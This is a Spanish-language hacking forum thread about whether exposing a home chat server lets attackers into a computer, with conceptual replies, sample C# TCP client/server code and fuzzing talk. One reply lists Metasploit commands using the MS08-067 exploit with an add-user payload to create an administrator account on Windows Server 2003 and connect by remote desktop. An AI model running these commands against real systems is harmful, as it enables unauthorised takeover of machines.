Hackear un servidor

Iniciado por Noporfavor, Marzo 07, 2017, 01:05:59 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Marzo 07, 2017, 01:05:59 PM Ultima modificación: Abril 05, 2017, 07:05:38 AM por HATI
Hola,

tenia una duda:

Si yo tengo un servidor de chat... alguien podria hackear mediante el mi computadora?
Esta pregunta me vino con la charla con un companero mio que es programador de C#. El me conto que und servidor es lo mismo que una computadora.

Entonces... podria hackear alguien mi computadora mediante un servidor de chat que pongo online?

Gracias y saludos

Si te refieres a abrir un puerto y iniciar un servicio donde tu eres el servidor del sistema de chat, definitivamente si podría, de hecho además de malware es una de las principales formas de ownear una máquina, escanear que servicios tiene abiertos y crear un exploit para dicho servicio, o usar uno ya existente.

Saludos.
RollthBuen hacker mejor No tienes permitido ver los links. Registrarse o Entrar a mi cuenta/No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Que?!
Pero crei que era imposible eso. Como se puede crear exploits si los de Micrisoft trabajan muy duro para cerrar todos los bugs?

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Que?!
Pero crei que era imposible eso. Como se puede crear exploits si los de Micrisoft trabajan muy duro para cerrar todos los bugs?

Bueno creo que de esta forma podrás entenderlo.
Imagina que por así decirlo los exploits pueden atacar por dos "vías".

- Por el sistema operativo aprovechando algún bug que este traiga, estos exploits son mucho más dificiles de crear, y si quieres adquirirlos por una tercera persona o bien son muy caros o son parcheados rapidamente si el fallo se hace público.

- Los exploits en servicios. Pues aquí depende del servicio, en algunos casos serán mas complicados y en otros casos más sencillo, ponte en la situación de que tu codeas un programa que trabaja como server de un chat. Se podría hacer un exploit con el que tú tomases control de ese servicio que codeaste. Y aquí Microsoft no podrá hacer nada para impedirlo.

Sería como echar la culpa a twitter de que te has hecho una mala descarga y has instalado un keylogger.
RollthBuen hacker mejor No tienes permitido ver los links. Registrarse o Entrar a mi cuenta/No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Tambien imagina que el codigo es como queso gruyere, de esos que estan llenos de agujeros. Cuanto mas queso, mas agujeros. Lo mismo con el codigo, cuanto mas codigo, mas agujeros :D. Ademas siempre se agregan implementaciones nuevas, actualizaciones, parches. Todo conlleva a la posibilidad de encontrar esos agujeros
Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Igm: /secureart
Telegram: @roaddhdc
Correo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Face: /roaddhdc
Twitter: @roaddhdc
Youtube: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

AL MENOS en Windows Server 2003 hay un POC.
Es facil, segun lo vi estando en la misma red, no si se se puede fuera de LAN.

La forma de proteccion simple seria desactivar el control remoto del servidor.

Desde panel de control---> Sistema> ---acceso remoto--> desmarcar todas las opciones.

Aunque existen metodos para by passear eso.
La mejor defensa es tener sistemas operativos modernos, actualizados en sus parches de seguridad, un firewall bien configurado e igualmente un ids/ips.

Resumen de lo realizado:
Usamos el exploit de ms08_067_netapi con
use exploit/windows/smb/ms08_067_netapi
* Configuramos la ip a atacar
* Ponemos en uso el payload a inyectar

Seteamos el payload ADDUSER con:
set payload windows/adduser
Configuramos el nuevo usuario, grupo y contraseña.
set CUSTOM Administradores
Dependiendo el idioma en el que este el servidor, eso lo podes saber previamente con un poco de busqueda de informacion)
Para la contrasea se deben cumplir políticas de contraseña segura

Seteamos el WMIC en true
set WMIC true
Lanzar el exploit

Y desde la misma consola de METASPLOIT realizar el RemoteDesktop con:
rdesktop ip_host_remoto

Saludos
Pikaa~


Caca PicachuDorado...
pero es windows 2003. Igual es impresionante ese POC.

Bueno siguiendo con lo del servidor...

Veamos el codigo fuente de un cliente en C#:

Código: csharp

using System;
using System.Windows.Forms;
using System.Net.Sockets;
using System.Text;

namespace WindowsApplication1
{
    public partial class Form1 : Form
    {
        System.Net.Sockets.TcpClient clientSocket = new System.Net.Sockets.TcpClient();
        NetworkStream serverStream;

        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            msg("Client Started");
            clientSocket.Connect("127.0.0.1", 8888);
            label1.Text = "Client Socket Program - Server Connected ...";
        }

        private void button1_Click(object sender, EventArgs e)
        {
            NetworkStream serverStream = clientSocket.GetStream();
            byte[] outStream = System.Text.Encoding.ASCII.GetBytes("Message from Client$");
            serverStream.Write(outStream, 0, outStream.Length);
            serverStream.Flush();

            byte[] inStream = new byte[10025];
            serverStream.Read(inStream, 0, (int)clientSocket.ReceiveBufferSize);
            string returndata = System.Text.Encoding.ASCII.GetString(inStream);
            msg("Data from Server : " + returndata);
        }

        public void msg(string mesg)
        {
            textBox1.Text = textBox1.Text + Environment.NewLine + " >> " + mesg;
        }
    }
}


Y ahora el de un servidor en C#:

Código: csharp

using System;
using System.Threading;
using System.Net.Sockets;
using System.Text;

namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            TcpListener serverSocket = new TcpListener(8888);
            TcpClient clientSocket = default(TcpClient);
            int counter = 0;

            serverSocket.Start();
            Console.WriteLine(" >> " + "Server Started");

            counter = 0;
            while (true)
            {
                counter += 1;
                clientSocket = serverSocket.AcceptTcpClient();
                Console.WriteLine(" >> " + "Client No:" + Convert.ToString(counter) + " started!");
                handleClinet client = new handleClinet();
                client.startClient(clientSocket, Convert.ToString(counter));
            }

            clientSocket.Close();
            serverSocket.Stop();
            Console.WriteLine(" >> " + "exit");
            Console.ReadLine();
        }
    }

    //Class to handle each client request separatly
    public class handleClinet
    {
        TcpClient clientSocket;
        string clNo;
        public void startClient(TcpClient inClientSocket, string clineNo)
        {
            this.clientSocket = inClientSocket;
            this.clNo = clineNo;
            Thread ctThread = new Thread(doChat);
            ctThread.Start();
        }
        private void doChat()
        {
            int requestCount = 0;
            byte[] bytesFrom = new byte[10025];
            string dataFromClient = null;
            Byte[] sendBytes = null;
            string serverResponse = null;
            string rCount = null;
            requestCount = 0;

            while ((true))
            {
                try
                {
                    requestCount = requestCount + 1;
                    NetworkStream networkStream = clientSocket.GetStream();
                    networkStream.Read(bytesFrom, 0, (int)clientSocket.ReceiveBufferSize);
                    dataFromClient = System.Text.Encoding.ASCII.GetString(bytesFrom);
                    dataFromClient = dataFromClient.Substring(0, dataFromClient.IndexOf("$"));
                    Console.WriteLine(" >> " + "From client-" + clNo + dataFromClient);

                    rCount = Convert.ToString(requestCount);
                    serverResponse = "Server to clinet(" + clNo + ") " + rCount;
                    sendBytes = Encoding.ASCII.GetBytes(serverResponse);
                    networkStream.Write(sendBytes, 0, sendBytes.Length);
                    networkStream.Flush();
                    Console.WriteLine(" >> " + serverResponse);
                }
                catch (Exception ex)
                {
                    Console.WriteLine(" >> " + ex.ToString());
                }
            }
        }
    }
}


En el servidor... se puede encontrar algo para hacer un exploit?
Y a eso me referia. Y ni hablar que el hacker necesitaria el codigo fuente, cosa que no es el caso.
Pero supongamos que lo tiene. Como hara respecto a este codigo pequeno un exploit?

Gracias y saludos

1) el tamaño del archivo no hace la gravedad de un exploit

2) no es necesario contar con el codigo fuente (aunque si aumenta mucho las probabilidades de exito).

Si queres buscar mas informacion te recomiendo que veas como se crea un exploit y como hacer para encontrar vulnerabilidades con un fuzzer, por ejemplo.
Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Igm: /secureart
Telegram: @roaddhdc
Correo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Face: /roaddhdc
Twitter: @roaddhdc
Youtube: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Hola roadd,

se puede hacer fuzzing en Windows? Porque no encuentro fuzz(Un fuzeador) para Windows.

Gracias y saludos

Es muy buena tu pregunta. No se si existe una herramienta de fuzzing para windows!  ;D
Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Igm: /secureart
Telegram: @roaddhdc
Correo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Face: /roaddhdc
Twitter: @roaddhdc
Youtube: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta